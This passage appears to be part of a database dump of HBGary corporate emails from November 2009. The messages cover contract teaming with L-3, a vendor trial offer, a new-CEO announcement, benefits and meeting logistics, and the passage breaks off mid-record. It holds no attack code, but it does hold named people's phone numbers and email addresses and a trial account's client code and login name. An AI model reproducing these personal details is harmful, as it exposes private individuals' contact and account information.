&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n\r\nI don&#8217;t know anything about the new Eagle or which agency it\r\nis.&nbsp; Can you send me a link describing it?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary,\r\nInc.\r\n\r\nPhone 301-652-8885 x104&nbsp; |&nbsp; Mobile 240-481-1419\r\n\r\nbob@hbgary.com&nbsp; |&nbsp; www.hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Andy Purdy\r\n[mailto:andy.purdy@comcast.net] \r\nSent: Sunday, November 15, 2009 9:16 AM\r\nTo: bob@hbgary.com\r\nSubject: Eagle\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Bob,\r\n\r\n&nbsp;\r\n\r\nHope things are going well for you and HB Gary.&nbsp;\r\nKeeping my eyes open for a potential sales hire.\r\n\r\n&nbsp;\r\n\r\nIs HBGary seeking to be a partner on the new Eagle?&nbsp; If\r\nso, I would like to pass along whatever you like to Todd Snedden at L-3 who is\r\nlooking for business partners.\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\nAndy\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8285,'aaron_hbgary_com/8285.html'),(171,'2009-11-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999684.M559703P3547Q171.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: Eagle','Absolutely! &nbsp;Especially interested in IA/Cybersecurity elements of SOW. &nbsp;Aaron, want to schedule a call with L3 to discuss?tvOn Nov 30, 2009, at 1:48 PM, Bob Slapnik wrote:Ted and Aaron,&nbsp;Andy Purdy sometimes birddogs opportunities for us.&nbsp; Any interest in this one?&nbsp; Looks like he wants to hook us up with L-3.&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Phone 301-652-8885 x104&nbsp; |&nbsp; Mobile 240-481-1419bob@hbgary.com&nbsp; |&nbsp;&nbsp;www.hbgary.com&nbsp;From:&nbsp;Andy Purdy [mailto:andy.purdy@comcast.net]&nbsp;Sent:&nbsp;Sunday, November 15, 2009 6:42 PMTo:&nbsp;\'Bob Slapnik\'Subject:&nbsp;RE: Eagle&nbsp;Here is the Centurion info about it.&nbsp;Andy&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Sunday, November 15, 2009 2:02 PMTo:&nbsp;\'Andy Purdy\'Subject:&nbsp;RE: Eagle&nbsp;Andy,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I don’t know anything about the new Eagle or which agency it is.&nbsp; Can you send me a link describing it?&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Phone 301-652-8885 x104&nbsp; |&nbsp; Mobile 240-481-1419bob@hbgary.com&nbsp; |&nbsp;&nbsp;www.hbgary.com&nbsp;From:&nbsp;Andy Purdy [mailto:andy.purdy@comcast.net]&nbsp;Sent:&nbsp;Sunday, November 15, 2009 9:16 AMTo:&nbsp;bob@hbgary.comSubject:&nbsp;Eagle&nbsp;Hi Bob,&nbsp;Hope things are going well for you and HB Gary.&nbsp; Keeping my eyes open for a potential sales hire.&nbsp;Is HBGary seeking to be a partner on the new Eagle?&nbsp; If so, I would like to pass along whatever you like to Todd Snedden at L-3 who is looking for business partners.&nbsp;ThanksAndy&nbsp;&lt;Eagle2id=3059.pdf&gt; ___Ted Vera | COO | HBGary Federal, Inc.Cell Phone 719-237-8623Website: &nbsp;www.hbgary.comEmail: &nbsp;ted@hbgary.com ',715,'aaron_hbgary_com/715.html'),(172,'2009-11-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999685.M367083P3547Q172.eml','\"Penny Hoglund\" <penny@hbgary.com>,\"Penny Hoglund\" <penny@hbgary.com>,','Re: Hello Penny Leavy','Thanks Penny.I spent a good deal of time last week / this weekend setting up all of my search agents on Fedbizopps. &nbsp;I\'ll try the free subscription. &nbsp;How much does it cost if we want to continue to use it?tvOn Nov 30, 2009, at 1:38 PM, Penny Hoglund wrote:I received this, is this something you are interested in?-----Original Message-----From: fedmail@fedmail.prime-vendor.com[mailto:fedmail@fedmail.prime-vendor.com] Sent: Monday, November 30, 2009 12:22 PMTo: penny@hbgary.comSubject: Hello Penny LeavyDear &nbsp;&nbsp;&nbsp;	Penny Leavy		Hbgary, Inc.Prime Vendor is a provider of Government Sales Opportunities from Federal,State, County, City and Educational Facilities. We are a Certified ValueAdded Network (VAN) registered with the Department of Defense. We provideElectronic Data Interchange (EDI) services for federal online bidding andcontract opportunities.We would like to provide a free trial evaluation of our services with nocommitment. Your free trial account will allow you to:Receive Government Sales Opportunities from Federal, State, County, City andEducational Facilities.Create your NIGP Service and Commodity profile to receive bid opportunitiesrelevant to your business.Evaluate Prime Vendor\'s EDI program that allows you to communicate with yourgovernment or commercial clients.Use the login information below to enter our system and begin updating yourcompany profile. The Client Code and Login Name are specific to yourcompany. During registration you will create a password for your account.Client Code: &nbsp;&nbsp;&nbsp;1333018Login Name: &nbsp;&nbsp;&nbsp;&nbsp;LEAVYPENNYStart here - http://govtbids.prime-vendor.com to login to the system.Please note your login information in this email will not allow you toaccess our main site at www.prime-vendor.com until after you haveregistered.Our system requires that you create NIGP service and commodity code profilesfor State and Local government markets and Federal FSC code profile toreceive federal bid opportunities. Creating a very specific commodity andservice profile is critical to receiving bid opportunities.During your registration process you will create your commodity profiles,update your account information and create a password. You may then accessyour account from our main site at www.prime-vendor.com. The system providesthe complete bid document and not just a notice of the opportunity. Thesebids are in PDF file format and may be viewed or printed as required.Depending on the type of products or services you offer, the program maydeliver 70 to 100 new Bid Opportunities each week. The program willautomatically send you an e-mail notification each day when new bidopportunities become available within your program. Creating a specificcommodity profile will assist you in receiving qualified opportunities.Please consult our Help Desk for illustrated instructions. Our EDI program allows you to manage your federal contracts, receive andsubmit purchase orders, shipping documents, and process invoiceselectronically with any federal agency. Additionally EDI may be utilized tocommunicate with your commercial clients.Please contact helpdesk@prime-vendor.com if you have any questions or needhelp.If you do not wish to receive any future special promotions or offers fromPrime Vendor by email,Go here -http://govtbids.prime-vendor.com/notinterested/?F=RM&amp;CLNID=1333018&amp;EM=penny@hbgary.com&amp;LG=LEAVYPENNY ___Ted Vera | COO | HBGary Federal, Inc.Cell Phone 719-237-8623Website: &nbsp;www.hbgary.comEmail: &nbsp;ted@hbgary.com ',13218,'aaron_hbgary_com/13218.html'),(173,'2009-11-30','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999685.M609565P3547Q173.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','RE: Hello Penny Leavy','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDon&#8217;t know, I just got it via email.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Monday, November 30, 2009 12:52 PM\r\nTo: Penny Hoglund\r\nCc: \'Bob Slapnik\'; \'Aaron Barr\'\r\nSubject: Re: Hello Penny Leavy\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThanks Penny.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI spent a good deal of time last week / this weekend setting\r\nup all of my search agents on Fedbizopps. &nbsp;I\'ll try the free subscription.\r\n&nbsp;How much does it cost if we want to continue to use it?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\ntv\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Nov 30, 2009, at 1:38 PM, Penny Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI received this, is this something you are interested in?\r\n-----Original Message-----\r\nFrom: fedmail@fedmail.prime-vendor.com\r\n[mailto:fedmail@fedmail.prime-vendor.com]\r\n\r\nSent: Monday, November 30, 2009 12:22 PM\r\nTo: penny@hbgary.com\r\nSubject: Hello Penny Leavy\r\n\r\nDear &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Penny\r\nLeavy\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hbgary, Inc.\r\n\r\nPrime Vendor is a provider of Government Sales Opportunities from Federal,\r\nState, County, City and Educational Facilities. We are a Certified Value\r\nAdded Network (VAN) registered with the Department of Defense. We provide\r\nElectronic Data Interchange (EDI) services for federal online bidding and\r\ncontract opportunities.\r\n\r\nWe would like to provide a free trial evaluation of our services with no\r\ncommitment. Your free trial account will allow you to:\r\n\r\nReceive Government Sales Opportunities from Federal, State, County, City and\r\nEducational Facilities.\r\n\r\nCreate your NIGP Service and Commodity profile to receive bid opportunities\r\nrelevant to your business.\r\n\r\nEvaluate Prime Vendor\'s EDI program that allows you to communicate with your\r\ngovernment or commercial clients.\r\n\r\nUse the login information below to enter our system and begin updating your\r\ncompany profile. The Client Code and Login Name are specific to your\r\ncompany. During registration you will create a password for your account.\r\n\r\nClient Code: &nbsp;&nbsp;&nbsp;1333018\r\nLogin Name: &nbsp;&nbsp;&nbsp;&nbsp;LEAVYPENNY\r\n\r\nStart here - http://govtbids.prime-vendor.com\r\nto login to the system.\r\n\r\nPlease note your login information in this email will not allow you to\r\naccess our main site at www.prime-vendor.com\r\nuntil after you have\r\nregistered.\r\n\r\nOur system requires that you create NIGP service and commodity code profiles\r\nfor State and Local government markets and Federal FSC code profile to\r\nreceive federal bid opportunities. Creating a very specific commodity and\r\nservice profile is critical to receiving bid opportunities.\r\n\r\nDuring your registration process you will create your commodity profiles,\r\nupdate your account information and create a password. You may then access\r\nyour account from our main site at www.prime-vendor.com.\r\nThe system provides\r\nthe complete bid document and not just a notice of the opportunity. These\r\nbids are in PDF file format and may be viewed or printed as required.\r\n\r\nDepending on the type of products or services you offer, the program may\r\ndeliver 70 to 100 new Bid Opportunities each week. The program will\r\nautomatically send you an e-mail notification each day when new bid\r\nopportunities become available within your program. Creating a specific\r\ncommodity profile will assist you in receiving qualified opportunities.\r\nPlease consult our Help Desk for illustrated instructions. \r\n\r\nOur EDI program allows you to manage your federal contracts, receive and\r\nsubmit purchase orders, shipping documents, and process invoices\r\nelectronically with any federal agency. Additionally EDI may be utilized to\r\ncommunicate with your commercial clients.\r\n\r\n\r\nPlease contact helpdesk@prime-vendor.com\r\nif you have any questions or need\r\nhelp.\r\n\r\nIf you do not wish to receive any future special promotions or offers from\r\nPrime Vendor by email,\r\nGo here -\r\nhttp://govtbids.prime-vendor.com/notinterested/?F=RM&amp;CLNID=1333018&amp;EM=penny@\r\nhbgary.com&amp;LG=LEAVYPENNY\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n___\r\n\r\n\r\n\r\n\r\n\r\nTed Vera | COO | HBGary Federal, Inc.\r\n\r\n\r\n\r\n\r\n\r\nCell Phone 719-237-8623\r\n\r\n\r\n\r\n\r\n\r\nWebsite: &nbsp;www.hbgary.com\r\n\r\n\r\n\r\n\r\n\r\nEmail: &nbsp;ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1682,'aaron_hbgary_com/1682.html'),(174,'2009-11-30','\"Sage, Scott E (IS)\" <scott.sage@ngc.com>','/aaron@hbgary.com/new/1296999685.M821270P3547Q174.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:New Position','Just got back from visiting my son in Vancouver last week, so this is a\r\nbit delayed. --  The new job sounds GREAT, Aaron. Best of luck to both\r\nyou and Ted as you move forward. I checked the web site and downloaded a\r\ncouple of the white papers and I know why you are excited. \r\n\r\nKeep in touch,\r\n\r\nScott\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, November 24, 2009 1:21 PM\r\nTo: Freeman, William E. (IS); Boyle, Vern (IS); Leary, Mark F (IT\r\nSolutions); Sage, Scott E (IS); Yu, Jeffrey C (IS); Greene, Brent (IS);\r\nValentino, Christopher (IS); Chistopher.barnett@ngc.com\r\nSubject: EXTERNAL:New Position\r\n\r\nHi All,\r\n\r\nJust wanted to let you know since most of you expressed interest in  \r\nknowing where I land.  I will be starting Monday as the new CEO of  \r\nHBGary Federal.  Ted Vera is coming on as the President and COO.  It  \r\nshould be a fun ride.  HBGary has a discriminating set of products  \r\nfocused on malware analysis and incident response.\r\n\r\nTalk to you all at some point.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478\r\n\r\n\r\n',15265,'aaron_hbgary_com/15265.html'),(175,'2009-11-30','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999686.M642038P3547Q175.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: Eagle','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAs a courtesy I should probably have you work through Andy.&nbsp; Let\r\nme know when to make the introduction.&nbsp; (I don&#8217;t know what he &#8220;gets&#8221; from it.)\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Monday, November 30, 2009 3:51 PM\r\nTo: Bob Slapnik\r\nCc: \'Barr Aaron\'\r\nSubject: Re: Eagle\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAbsolutely! &nbsp;Especially interested in IA/Cybersecurity\r\nelements of SOW. &nbsp;Aaron, want to schedule a call with L3 to discuss?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\ntv\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Nov 30, 2009, at 1:48 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed and Aaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAndy Purdy sometimes birddogs opportunities for us.&nbsp; Any\r\ninterest in this one?&nbsp; Looks like he wants to hook us up with L-3.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\n\r\n\r\n\r\n\r\nPhone 301-652-8885 x104&nbsp; |&nbsp; Mobile 240-481-1419\r\n\r\n\r\n\r\n\r\n\r\nbob@hbgary.com&nbsp; |&nbsp;&nbsp;www.hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Andy\r\nPurdy [mailto:andy.purdy@comcast.net]&nbsp;\r\nSent:&nbsp;Sunday, November 15,\r\n2009 6:42 PM\r\nTo:&nbsp;\'Bob Slapnik\'\r\nSubject:&nbsp;RE: Eagle\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHere is the Centurion info about\r\nit.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAndy\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Bob\r\nSlapnik [mailto:bob@hbgary.com]&nbsp;\r\nSent:&nbsp;Sunday, November 15,\r\n2009 2:02 PM\r\nTo:&nbsp;\'Andy Purdy\'\r\nSubject:&nbsp;RE: Eagle\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAndy,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI don&#8217;t know anything about the new Eagle or which agency it is.&nbsp;\r\nCan you send me a link describing it?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\n\r\n\r\n\r\n\r\nPhone 301-652-8885 x104&nbsp; |&nbsp; Mobile 240-481-1419\r\n\r\n\r\n\r\n\r\n\r\nbob@hbgary.com&nbsp; |&nbsp;&nbsp;www.hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Andy\r\nPurdy [mailto:andy.purdy@comcast.net]&nbsp;\r\nSent:&nbsp;Sunday, November 15,\r\n2009 9:16 AM\r\nTo:&nbsp;bob@hbgary.com\r\nSubject:&nbsp;Eagle\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHi Bob,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHope things are going well for you\r\nand HB Gary.&nbsp; Keeping my eyes open for a potential sales hire.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIs HBGary seeking to be a partner\r\non the new Eagle?&nbsp; If so, I would like to pass along whatever you like to\r\nTodd Snedden at L-3 who is looking for business partners.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\n\r\n\r\n\r\n\r\n\r\nAndy\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&lt;Eagle2id=3059.pdf&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n___\r\n\r\n\r\n\r\n\r\n\r\nTed Vera | COO | HBGary Federal, Inc.\r\n\r\n\r\n\r\n\r\n\r\nCell Phone 719-237-8623\r\n\r\n\r\n\r\n\r\n\r\nWebsite: &nbsp;www.hbgary.com\r\n\r\n\r\n\r\n\r\n\r\nEmail: &nbsp;ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12498,'aaron_hbgary_com/12498.html'),(176,'2009-11-30','\"Halemartin, Kevin L.\" <KEVIN.L.HALEMARTIN@saic.com>','/aaron@hbgary.com/new/1296999687.M18888P3547Q176.eml','aaron@hbgary.com','','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nKevin\r\nHalemartin\r\n-\r\nSAIC\r\n\r\nAVP\r\n- Senior Staffing Manager\r\n\r\nIntelligence,\r\nSecurity and Technology Group\r\n\r\n360\r\nCommand View\r\n\r\nColorado\r\nSprings, CO 80915\r\n\r\nOffice:\r\n719-474-8097\r\n\r\nCell:\r\n719-201-0591\r\n\r\nFax:\r\n866-641-7242\r\n\r\nhttp://www.saic.com/career/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3427,'aaron_hbgary_com/3427.html'),(177,'2009-11-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999687.M278151P3547Q177.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Benefits','Hi Penny,I am going to make my benefits selections today.  When we last spoke about healthcare I believe you said that HBGary will pay 100% for employees.  Does the company pay 0% for dependents?\r\nThanks,Ted-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n',1233,'aaron_hbgary_com/1233.html'),(178,'2009-11-30','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999687.M493458P3547Q178.eml','\"Barr Aaron\" <aaron@hbgary.com>','BAE meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nMeeting is 10 am on Tuesday, Dec 1st at 2525\r\nNetwork Place, Herndon, VA.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7181,'aaron_hbgary_com/7181.html'),(179,'2009-11-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999687.M763314P3547Q179.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','HBGary Overview','Hi Bob / Greg,Do you have a HBGary company overview / capabilities presentation?  Aaron and I are creating one for HBGary Federal and if you have one it would be useful as a template.\r\nThanks,Ted-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n',1620,'aaron_hbgary_com/1620.html'),(180,'2009-11-30','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999695.M138037P3547Q180.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: HBGary Overview','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHere is the powerpoint I use to sell product.&nbsp; In the files I sent\r\nyou last week there is an HBGary Past Performance doc that has services work we&#8217;ve\r\ndone.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Monday, 